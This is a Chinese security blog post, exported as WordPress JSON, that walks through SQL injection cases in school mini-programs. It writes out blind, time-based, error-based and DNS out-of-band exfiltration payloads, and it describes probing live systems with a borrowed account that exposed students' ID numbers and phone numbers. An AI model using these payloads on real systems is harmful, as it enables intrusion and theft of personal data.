{"id":1366,"date":"2023-06-30T11:00:01","date_gmt":"2023-06-30T03:00:01","guid":{"rendered":"https:\/\/blog.langsasec.cn\/?p=1366"},"modified":"2023-06-30T11:00:10","modified_gmt":"2023-06-30T03:00:10","slug":"edu-sql","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2023\/06\/30\/edu-sql\/","title":{"rendered":"edu-SQL\u6ce8\u5165\u6848\u4f8b\u5206\u4eab"},"content":{"rendered":"

<\/span>0x00 \u524d\u8a00<\/span><\/h1>\n

\u6700\u8fd1\u966a\u522b\u4eba\u6316\u5c0f\u7a0b\u5e8f\uff0c\u6ca1\u6709\u89e3\u5305\u64cd\u4f5c\uff0c\u5c31\u5bf9\u5355\u7eaf\u7684\u6570\u636e\u5305\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53d1\u73b0SQL\u6ce8\u5165\u8fd8\u662f\u5f88\u591a\u7684\uff0c\u5c0f\u7a0b\u5e8f\u5f00\u53d1\u5bf9\u63a5\u53e3\u6743\u9650\u9891\u548cSQL\u7e41\u51fa\u73b0\u95ee\u9898\uff0c\u56e0\u6b64\u5bfc\u81f4\u5927\u91cf\u4fe1\u606f\u6cc4\u9732\u3002\u800c\u4e14\u5728\u5927\u591a\u6570\u5747\u5728json\u63a5\u53e3\u4e2d\u51fa\u73b0\uff0c\u4e0b\u9762\u662f\u51e0\u4e2a\u7b80\u5355\u6848\u4f8b\uff0c\u5e0c\u671b\u5bf9\u4f60\u6709\u7528\uff0c\u5b66\u4f1a\u4e86\u540e\u6bcf\u5929\u4e00\u4e2aSQL\u5e94\u8be5\u4e0d\u5728\u8bdd\u4e0b\uff0c\u8fd9\u51e0\u4e2a\u6848\u4f8b\u90fd\u662f\u4e00\u5468\u4e4b\u5185\u53d1\u73b0\u7684\u3002<\/p>\n

<\/span>0x01 \u6211\u7231\u6211\u7684\u5973\u670b\u53cb<\/span><\/h1>\n

\u672c\u6848\u4f8b\u5e9f\u8bdd\u7f16\u8f91\uff1a\u5317\u7eac\u4ee5\u5317<\/strong><\/p>\n

\u5b9e\u64cd\uff1a\u6d6a\u98d2<\/strong><\/p>\n

\u95f2\u6765\u65e0\u4e8b\uff0c\u60f3\u6316\u6316\u5c0f\u7a0b\u5e8f\u6f0f\u6d1e\uff0c\u7136\u540e\u60f3\u5230\u5973\u670b\u53cb\u5b66\u6821\u8c8c\u4f3c\u8fd8\u6ca1\u52a8\u8fc7\u563f\u563f\uff0c\u8981\u6765\u4e86\u8d26\u53f7\u5bc6\u7801\u5148\u767b\u5f55\u4e86\u4ed6\u4eec\u5b66\u6821\u7684\u95e8\u6237\u7f51\u7ad9\uff0c\u4e00\u901a\u4e71\u641e\uff0c\u5565\u4e5f\u6ca1\u53d1\u73b0\uff0c\u4e0d\u6b7b\u5fc3\u53bb\u5c0f\u7a0b\u5e8f\u770b\u4e86\u770b\uff0c\u968f\u8bb0\u5f55\u672c\u6b21\u6d4b\u8bd5\u6d41\u7a0b\u3002<\/p>\n

\u8fd9\u91cc\u76f4\u63a5\u6253\u5f00\u5c0f\u7a0b\u5e8f\uff0c\u914d\u7f6e\u597dburp\u548cproxifier\u6293\u5305<\/p>\n

\"img\" \"img\"<\/p>\n

\u6253\u5f00\u5c0f\u7a0b\u5e8f\u81ea\u52a8\u6293\u53d6\u4e86\u4e24\u4e2a\u6570\u636e\u5305\uff0c\u8fd9\u91cc\u4e00\u770b\uff0c\u76f4\u63a5\u904d\u5386api\u53c2\u6570\uff0c\u770b\u770b\u80fd\u8fd4\u56de\u90a3\u4e9b\u6570\u636e\uff0c\u904d\u5386\u5c31\u4e0d\u653e\u56fe\u51fa\u6765\u4e86\uff0c\u53d1\u73b01-27\u90fd\u6709\u6570\u636e\uff0c\u5176\u4e2d\u4e0d\u4e4f\u5305\u62ec\u59d3\u540d\uff0c\u8eab\u4efd\u8bc1\uff0c\u5b66\u53f7\uff0c\u73ed\u7ea7\uff0c\u6821\u533a\uff0c\u6709\u4f4f\u5740\uff0c\u624b\u673a\u53f7\u7b49\uff0c\u5176\u4e2d\u8eab\u4efd\u8bc1\u6761\u6570\u66f4\u662f\u591a\u8fbe\u516b\u4e07\u591a\u6761\uff0c\u968f\u4fbf\u653e\u4e24\u5f20\u56fe\u3002<\/p>\n

\"img\"\"img\"<\/p>\n

\u6d4b\u8bd5\u5230\u8fd9\u513f\u6211\u4ee5\u4e3a\u7ed3\u675f\u4e86\uff0c\u51c6\u5907\u5173\u95ed\u5c0f\u7a0b\u5e8f\u4ea4\u6d1e\u53bb\u4e86\uff0c\u624b\u7a81\u7136\u78b0\u5230\u4e00\u4e2a\u5355\u5f15\u53f7\uff0c\u7a81\u7136\u70b9\u4e86\u4e2a\u53d1\u9001\uff0c\u5de7\u4e86\uff0c\u8fd4\u56de\u5305\u7a81\u7136\u51fa\u73b0\u4e86\u62a5\u9519\u3002<\/p>\n

\"img\"<\/p>\n

\u8fd9\u91cc\u6211\u8fdb\u5165\u4e86\u6b7b\u80e1\u540c\uff0c\u4e00\u76f4\u62ff\u7740api\u53c2\u6570\u6ce8\u5165\uff0c\u540e\u9762\u53d1\u73b0\u540e\u9762\u8fd8\u6709\u4e2a\u53c2\u6570order_flow_status\uff0c\u8c8c\u4f3c\u662f\u8868\u793a\u5b57\u6bb5\uff0c\u8fd9\u91cc\u679c\u65ad\u6362\u6210\u8eab\u4efd\u8bc1\u5b57\u6bb5\u8fdb\u884c\u6ce8\u5165\uff0c\u540e\u9762\u53d1\u73b0\u5b58\u5728waf\uff0c\u5f88\u591a\u62a5\u9519\u51fd\u6570\u88ab\u62e6\u622a\uff0c\u4e8e\u662f\u4f7f\u7528\u76f2\u6ce8\u624b\u6cd5\u8fdb\u884c\u6ce8\u5165\u3002<\/p>\n

<\/span>sql\u6ce8\u5165\u5e38\u7528\u51fd\u6570<\/span><\/h2>\n

1\u3001system_user()\u7cfb\u7edf\u7528\u6237\u540d
\n\u200b
\n2\u3001user()\u7528\u6237\u540d
\n\u200b
\n3\u3001current_user()\u5f53\u524d\u7528\u6237\u540d
\n\u200b
\n4\u3001session_user()\u94fe\u63a5\u6570\u636e\u5e93\u7684\u7528\u6237\u540d
\n\u200b
\n5\u3001database()\u6570\u636e\u5e93\u540d
\n\u200b
\n6\u3001version()\u6570\u636e\u5e93\u7248\u672c
\n\u200b
\n7\u3001@@datadir\u6570\u636e\u5e93\u8def\u5f84
\n\u200b
\n8\u3001@@basedir\u6570\u636e\u5e93\u5b89\u88c5\u8def\u5f84
\n\u200b
\n9\u3001@@version_conpile_os\u64cd\u4f5c\u7cfb\u7edf
\n\u200b
\n10\u3001count()\u8fd4\u56de\u6267\u884c\u7ed3\u679c\u6570\u91cf
\n\u200b
\n11\u3001concat()\u6ca1\u6709\u5206\u9694\u7b26\u7684\u94fe\u63a5\u5b57\u7b26\u4e32
\n\u200b
\n12\u3001concat_ws()\u542b\u6709\u5206\u9694\u7b26\u7684\u8fde\u63a5\u5b57\u7b26\u4e32
\n\u200b
\n13\u3001group_concat()\u8fde\u63a5\u4e00\u4e2a\u7ec4\u7684\u6240\u6709\u5b57\u7b26\u4e32\uff0c\u5e76\u4ee5\u9017\u53f7\u5206\u9694\u6bcf\u4e00\u6761\u6570\u636e
\n\u200b
\n14\u3001load_file()\u8bfb\u53d6\u672c\u5730\u6587\u4ef6
\n\u200b
\n15\u3001into outfile \u5199\u6587\u4ef6
\n\u200b
\n16\u3001ascii()\u5b57\u7b26\u4e32\u7684ASCII\u4ee3\u7801\u503c
\n\u200b
\n17\u3001ord()\u8fd4\u56de\u5b57\u7b26\u4e32\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684ASCII\u503c
\n\u200b
\n18\u3001mid()\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\u7684\u4e00\u90e8\u5206
\n\u200b
\n19\u3001substr()\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\u7684\u4e00\u90e8\u5206
\n\u200b
\n20\u3001length()\u8fd4\u56de\u5b57\u7b26\u4e32\u7684\u957f\u5ea6
\n\u200b
\n21\u3001left()\u8fd4\u56de\u5b57\u7b26\u4e32\u6700\u5de6\u9762\u51e0\u4e2a\u5b57\u7b26
\n\u200b
\n22\u3001floor()\u8fd4\u56de\u5c0f\u4e8e\u6216\u7b49\u4e8ex\u7684\u6700\u5927\u6574\u6570
\n\u200b
\n23\u3001rand()\u8fd4\u56de0\u548c1\u4e4b\u95f4\u7684\u4e00\u4e2a\u968f\u673a\u6570<\/p>\n

\u8be5\u7cfb\u7edf\u6709WAF\uff0c\u7981\u7528\u7684\u51fd\u6570\u6709<\/strong>\uff1aselect\uff0cascii\uff0csubstr\uff0csleep\uff0cwaitfor delay\uff0cmid\uff0cleft\uff0cconcat\u7b49\u7b49\u3002<\/p>\n

\u6700\u7ec8\u4e0d\u65ad\u6d4b\u8bd5\u8fd8\u597ddatabase\u548clength\u6ca1\u6709\u7981\u7528\u3002<\/p>\n

<\/span>\u6d4b\u8bd5\u6ce8\u5165<\/span><\/h2>\n

\u5f53\u524d\u6267\u884c\u7684\u4e3aexp(0)=1\u8fd4\u56de\u4e3atrue,\u56e0\u6b64\u67e5\u5230\u6570\u636e\uff0c\u4f46\u56e0\u6570\u636e\u592a\u5927\uff0c\u5219\u6570\u636e\u5728burp\u4e0d\u663e\u793a\uff0c\u800c\u6570\u636e\u5219\u4e3a\u63a5\u53e3\u8d8a\u6743\u8fd4\u56de\u7684\u6570\u636e\u76f8\u540c\u3002\u5f53\u524d\u6267\u884c\u7684\u4e3aexp(0)=2\u8fd4\u56de\u4e3afalse,\u56e0\u6b64\u67e5\u5230\u6570\u636e\u4e3a\u7a7a\uff0c\u8bc1\u660e\u5b58\u5728\u5e03\u5c14\u578b\u76f2\u6ce8\u3002<\/p>\n

\u4e0b\u56feSQL\u89e3\u91ca\uff1a<\/strong>\u5982\u679c\u6570\u636e\u5e93\u540d\u79f0\u957f\u5ea6\u4e3a1\uff0c\u5219\u8fd4\u56de1\uff0c\u5426\u5219exp(0)=1<\/p>\n

\"img\"\"img\"<\/p>\n

<\/span>\u67e5\u6570\u636e\u5e93\u7248\u672c<\/span><\/h2>\n

\u901a\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u6570\u636e\u5e93\u7248\u672c\u957f\u5ea6\u4e3a10<\/p>\n

\"img\"<\/p>\n

\u5229\u7528ord()\u548cright()\u51fd\u6570\u7206\u7834\u6570\u636e\u5e93\u7248\u672c\uff0c\u5bf9\u7167ASCII\u7f16\u7801\u8868\u5f88\u8f7b\u677e\u5c31\u80fd\u5f97\u77e5\u6570\u636e\u5e93\u7248\u672c\uff0c\u8fd9\u91cc\u968f\u610f\u653e\u4e24\u5f20\u7206\u7834\u56fe<\/p>\n

    \n
  • ord()\uff1a\u8fd4\u56de\u5b57\u7b26\u4e32\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684ASCII\u503c<\/li>\n
  • right()\uff1a\u8fd4\u56de\u5b57\u7b26\u4e32\u6700\u53f3\u9762\u51e0\u4e2a\u5b57\u7b26<\/li>\n<\/ul>\n

    \u4e0b\u56feSQL\u89e3\u91ca\uff1a<\/strong>\u5982\u679c\u6570\u636e\u5e93\u7248\u672c\u4ece\u53f3\u5f80\u5de6\u6570\u7b2c\u5341\u4f4d\u7684ASCII\u503c\u4e3a53\u4e3a\u771f\uff0c\u8fd4\u56de1(true)\uff0c\u5426\u5219\u8fd4\u56deexp(0)=2(false)\u3002<\/p>\n

    \"img\"\"img\"<\/p>\n

    \u901a\u8fc7\u9010\u4e2a\u904d\u5386\u904d\u5386\uff0c\u7b2c\u4e5d\u7b2c\u516b\u6700\u7ec8\u5f97\u51fa\u6570\u636e\u5e93\u7248\u672c<\/p>\n

    \u6700\u7ec8\u6570\u636e\u5e93\u7248\u672c\u4e3a5.7.30-log<\/p>\n

    <\/span>\u67e5\u6570\u636e\u5e93\u540d\u79f0<\/span><\/h2>\n

    \u518d\u5ea6\u67e5\u8be2\u5230\u6570\u636e\u5e93\u957f\u5ea6\u4e3a12\uff0c\u7ecf\u8fc7\u7206\u7834\u540e\u5f97\u5230\u6570\u636e\u5e93\u540d\u4e3axxx_xxx_xxxx,\u968f\u610f\u653e\u4e24\u5f20\u622a\u56fe<\/p>\n

    \"img\"\"img\"<\/p>\n

    <\/span>0x02 \u5c31\u8bca\u9700\u8c28\u614e<\/span><\/h1>\n

    \u67d0\u5b66\u6821\u5c31\u8bca\u6302\u53f7\u5c0f\u7a0b\u5e8f\u70b9\u51fb\u8fdb\u5165\uff0c\u5728userID\u5904\u519927551 or 1=1 \u6052\u4e3a\u771f\u65f6\uff0c\u8fd4\u56de\u5168\u90e8\u6570\u636e\uff0c\u5305\u62ec\u8eab\u4efd\u8bc1\uff0c\u7535\u8bdd\uff0c\u4f4f\u5740\u7b49\u7b49\u3002<\/p>\n

    \"image-20230614123842178\"<\/p>\n

    \u5c1d\u8bd5\u8054\u5408\u6ce8\u5165\u53d1\u73b0\u7f3a\u5c11from\u5173\u952e\u5b57\uff0c\u8054\u60f3\u5230\u5728 oracle\u4e2d\u4f7f\u7528\u67e5\u8be2\u8bed\u53e5\u5fc5\u987b\u8ddf\u4e00\u4e2a\u8868\u540d\uff0c\u56e0\u6b64\u731c\u6d4b\u662fOracle\u6570\u636e\u5e93<\/p>\n

    \"image-20230614124421725\"<\/p>\n

    \u4e0b\u9762\u5c1d\u8bd5\u4e24\u79cd\u5f62\u5f0f\u8bc1\u660e\u6f0f\u6d1e<\/p>\n

    <\/span>\u5ef6\u65f6\u6ce8\u5165<\/strong><\/span><\/h2>\n

    SQL\u8bed\u53e5\uff1aand DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5)=1<\/p>\n

    \u5ef6\u65f610\u79d2<\/p>\n

    \"image-20230614124617443\"<\/p>\n

    \u5ef6\u65f65\u79d2<\/p>\n

    \"image-20230614124731230\"<\/p>\n

    <\/span>DNSlog\u6ce8\u5165<\/span><\/h2>\n

    \u7531\u4e8e\u5ef6\u65f6\u6ce8\u5165\u592a\u8017\u8d39\u65f6\u95f4\uff0c\u9009\u62e9\u6570\u636e\u5e26\u5916<\/p>\n

    \"image-20230614130623660\"<\/p>\n

    SQL\u8bed\u53e5\uff1a\u67e5\u8be2\u7528\u6237\u540d<\/p>\n

    and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog\u5730\u5740') from dual)is not null --<\/p>\n

    \"image-20230614130524387\"<\/p>\n

    SQL\u8bed\u53e5\uff1a\u67e5\u8be2\u5e93\u540d<\/p>\n

    and (select utl_inaddr.get_host_address((select name from v$database)||'.dnslog\u5730\u5740') from dual)is not null --<\/p>\n

    \"image-20230614131005879\"<\/p>\n

    \"image-20230614131038272\"<\/p>\n

    <\/span>0x03 \u4e24\u4e2a\u5e38\u89c4\u6ce8\u5165<\/span><\/h1>\n

    <\/span>\u62a5\u9519\u6ce8\u5165<\/span><\/h2>\n

    \u5e38\u89c4sql\u62a5\u9519\u8bed\u53e5\uff0c\u65e0WAF\uff1a<\/p>\n

    'and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) -- q<\/p>\n

    \"image-20230614135021781\"<\/p>\n

    <\/span>\u53ef\u76f4\u63a5SQLmap<\/span><\/h2>\n
    \n

    \u5c0f\u8d34\u58eb\uff1a\u5c0f\u7a0b\u5e8fsql\u6ce8\u5165\u76f4\u63a5\u7c98\u8d34burp\u4e2d\u7684\u5305\u662f\u8dd1\u4e0d\u51fa\u6765\u7684\uff0c\u56e0\u4e3a\u5f3a\u5236https\u7684\u539f\u56e0\uff0c\u6211\u4eec\u9700\u8981\u5728host\u540e\u9762\u52a0\u4e0a443\u7aef\u53e3\u3002<\/p>\n<\/blockquote>\n

    \"image-20230614135223055\"<\/p>\n

    \"image-20230614135313327\"<\/p>\n

    <\/span>0x04 \u603b\u7ed3<\/span><\/h1>\n

    \u4e0a\u8ff0sql\u6ce8\u5165\u5747\u4e3a\u5c0f\u7a0b\u5e8f\u4e2d\u51fa\u73b0\u7684\u6f0f\u6d1e\u3002<\/p>\n

    \u5c0f\u7a0b\u5e8f\u4e2d\u5728\u4e0d\u53cd\u7f16\u8bd1\u4ee3\u7801\u7684\u60c5\u51b5\u4e0b\uff0c\u4e00\u822c\u6d4b\u8bd5\u5982\u4e0b\uff1a<\/p>\n

      \n
    1. \u70b9\u51fb\u6240\u6709\u529f\u80fd\uff0c\u9010\u4e2a\u5206\u6790\u6bcf\u4e2a\u6570\u636e\u5305\uff0c\u6781\u5927\u6982\u7387\u5b58\u5728\u654f\u611f\u4fe1\u606f\u6cc4\u9732\u548c\u672a\u6388\u6743\u7684\u63a5\u53e3\u3002<\/li>\n
    2. \u5bf9\u53c2\u6570\u8fdb\u884c\u6328\u4e2a\u6d4b\u8bd5\uff0c\u5728\u7528\u6237\u540d\uff0cid\uff0c\u5206\u9875\u529f\u80fd\u5904\u5747\u53ef\u80fd\u5b58\u5728SQL\u6ce8\u5165\uff0c\u4e14\u5c3d\u91cf\u4f7f\u7528\u624b\u5de5\uff0csqlmap\u8bf4\u4e0d\u5b9a\u4f1a\u8ba9\u4f60\u9519\u8fc7\u5f88\u591a\u6ce8\u5165\u7684\u6d1e\uff0c\u6709\u5341\u8db3\u628a\u63e1\u6216\u8005\u65e0WAF\u518d\u5c1d\u8bd5sqlmap\u3002<\/li>\n
    3. \u6587\u4ef6\u4e0a\u4f20\u5927\u591a\u4e3a\u9759\u6001\u76ee\u5f55\uff0c\u53ef\u80fd\u5b58\u5728\u6781\u5c11\u6570\u4f1a\u4e0a\u4f20\u540e\u7aef\u62ff\u5230shell\u3002<\/li>\n
    4. \u5e73\u884c\u8d8a\u6743\u5927\u6982\u7387\u6709SQL\u6ce8\u5165\u3002<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"

      0x00 \u524d\u8a00 \u6700\u8fd1\u966a\u522b\u4eba\u6316\u5c0f\u7a0b\u5e8f\uff0c\u6ca1\u6709\u89e3\u5305\u64cd\u4f5c\uff0c\u5c31\u5bf9\u5355\u7eaf\u7684\u6570\u636e\u5305\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53d1\u73b0SQL\u6ce8\u5165\u8fd8\u662f\u5f88\u591a\u7684\uff0c\u5c0f\u7a0b\u5e8f\u5f00 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45],"tags":[],"class_list":["post-1366","post","type-post","status-publish","format-standard","hentry","category-vulw"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1366","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=1366"}],"version-history":[{"count":1,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1366\/revisions"}],"predecessor-version":[{"id":1368,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1366\/revisions\/1368"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=1366"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=1366"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=1366"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}